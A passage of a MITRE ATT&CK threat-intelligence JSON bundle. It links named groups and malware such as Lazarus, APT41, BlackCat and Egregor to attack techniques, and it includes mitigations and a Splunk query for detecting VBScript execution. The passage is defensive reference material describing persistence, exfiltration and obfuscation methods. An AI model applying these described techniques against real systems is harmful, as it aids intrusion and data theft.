2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--552215a4-9761-4dce-8a59-83cd81ca43a8","type":"relationship","created":"2020-05-27T15:31:09.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.803Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used batch script files to automate execution and deployment of payloads.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320","created":"2017-05-31T21:33:27.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.706Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has compressed exfiltrated data with RAR and used RomeoDelta malware to archive specified directories in .zip format, encrypt the .zip file, and upload it to C2. (Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--552afd93-370d-4f8e-b2c0-e27d9d7e050e","created":"2023-04-14T12:19:19.127Z","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T12:19:19.127Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) has the ability to add the following registry key on compromised networks to maintain persistence: `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services \\LanmanServer\\Paramenters`(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--552c3e40-dbb9-4675-bc31-5436a15253d8","type":"relationship","created":"2020-12-29T21:32:28.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."},{"source_name":"Cyble Egregor Oct 2020","url":"https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/","description":"Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."}],"modified":"2020-12-29T21:35:52.373Z","description":"[Egregor](https://attack.mitre.org/software/S0554)'s payloads are custom-packed, archived and encrypted to prevent analysis.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55307354-c0c5-4fc4-9a31-e0444ce240fe","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T16:20:18.162Z","description":"Monitor executed commands and arguments that may abuse Visual Basic (VB) for execution.\n\nAnalytic 1 - Look for unusual VB execution.\n\nsourcetype=wineventlog OR sourcetype=linux_secure OR sourcetype=macos_secure\n| search (command=\"cscript.exe\" OR command=\"wscript.exe\" OR command=\".vbs\" OR command=\".vba\" OR command=\".vbe\")\n| eval suspicious_cmd=if(like(command_line, \"%.vbs\" OR \"%.vba\" OR \"%.vbe\"), \"Yes\", \"No\")\n| where suspicious_cmd=\"Yes\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55323dcc-68cb-4e92-bcf3-33c7d26f9b5e","created":"2023-03-17T15:05:41.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:56:19.267Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used DOCX files to retrieve a malicious document template/DOTM file.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--553aadc2-8c1c-4ad7-b974-c65f99f6a892","type":"relationship","created":"2020-03-11T13:50:57.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.microsoft.com/en-us/kb/967715","description":"Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.","source_name":"Microsoft Disable Autorun"},{"url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","source_name":"TechNet Removable Media Control"}],"modified":"2021-10-15T22:48:29.655Z","description":"Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--553dbb57-1174-494c-9cfd-dbc83ecc74f6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.124Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--553dc864-7d6b-41f9-bb1c-9fc6ee3724b7","type":"relationship","created":"2020-05-28T13:27:38.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T13:54:18.976Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to use base16 encoded strings in C2.(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--553e41ba-f8e6-408c-bdbd-f46246124df6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-18T00:48:35.892Z","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) has a command to delete files.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55409bd6-f45c-479c-9557-d8efff292789","created":"2024-06-14T20:13:09.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:53:24.830Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has used EvilGinx to steal the session cookies of victims directed to\n phishing domains.(Citation: CISA Star Blizzard Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5543599a-779f-4955-8f3e-99cc92b1e2fc","created":"2021-02-25T16:48:06.231Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55465e2f-104a-440e-aa6b-24f1476fc86d","type":"relationship","created":"2020-07-06T14:40:26.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-07-06T14:40:26.106Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has been programmed to sleep outside local business hours (9 to 5, Monday to Friday).(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--554fbee8-58a9-4557-bf49-f1df2c5da442","type":"relationship","created":"2020-08-13T16:51:23.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-09-02T19:29:12.575Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has been delivered via phishing emails with malicious attachments.(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5550ef5e-a34c-4055-b7be-dd41d76ef7b1","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Security Center Trojan.Kwampirs","description":"Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.","url":"https://www.symantec.com/security-center/writeup/2016-081923-2700-99"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:44:21.338Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files that are base64-encoded and encrypted with another cipher.(Citation: Symantec Security Center Trojan.Kwampirs)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--555abf76-531f-4d35-9783-ed7c2a3f213b","type":"relationship","created":"2022-03-17T12:38:03.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T12:39:56.564Z","description":"Regularly audit user accounts for activity and deactivate or remove any that are no longer needed.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--555ae36b-6066-43e1-bea4-d891c1db5835","created":"2019-04-17T19:18:00.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Remexi Jan 2019","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.","url":"https://securelist.com/chafer-used-remexi-malware/89538/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:17:28.983Z","description":"[Remexi](https://attack.mitre.org/software/S0375) obfuscates its configuration data with XOR.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--555b9de4-84c6-44f1-a6e6-b04a7e4ed374","created":"2022-12-12T15:55:58.323Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-12T15:55:58.323Z","description":"(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--555ccfc5-909a-455d-a39a-446020b22f88","created":"2023-08-17T19:02:52.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T21:16:03.196Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has hijacked legitimate application-specific startup scripts to enable malware to execute on system startup.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--555e47f2-54bb-4c97-8804-536aa354126c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"}],"modified":"2019-04-29T18:01:20.514Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can run DLLs.(Citation: FireEye Clandestine Fox)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55617b29-c1da-4519-87ea-97902bf30c02","created":"2024-09-16T09:08:13.178Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:08:13.178Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) was used during [APT41 DUST](https://attack.mitre.org/campaigns/C0040).(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5566a165-9435-4683-9461-870f15450fd3","created":"2023-04-11T22:41:35.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T23:17:18.549Z","description":"Implement security controls on the endpoint, such as a Host Intrusion Prevention System (HIPS), to identify and prevent execution of potentially malicious files (such as those with mismatching file signatures).","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55670baa-97b1-44fe-abb8-0162b5a9663b","type":"relationship","created":"2021-07-28T00:48:40.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft WDAC","url":"https://docs.microsoft.com/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules","description":"Coulter, D. et al.. (2019, April 9). Microsoft recommended block rules. Retrieved August 12, 2021."}],"modified":"2021-10-15T23:58:08.098Z","description":"Use application control configured to block execution of wmic.exe if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the wmic.exe application and to prevent abuse.(Citation: Microsoft WDAC)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--55678635-c41a-40cf-9dcf-21dcc443a923","created":"2023-02-27T22:51:27.316Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-27T22:51:27.316Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--556f8dd8-50e0-4115-9815-c20bfc2b915a","created":"2019-09-23T22:53:30.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.518Z","description":"[APT41](https://attack.mitre.org/groups/G0096) compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service.(Citation: FireEye APT41 Aug 2019)\n","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--557288c3-8463-4900-b2e5-aa9856d428cd","created":"2019-08-29T19:21:38.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"Intego Shlayer Feb 2018","description":"Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.","url":"https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.496Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) has relied on users mounting and executing a malicious DMG file.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 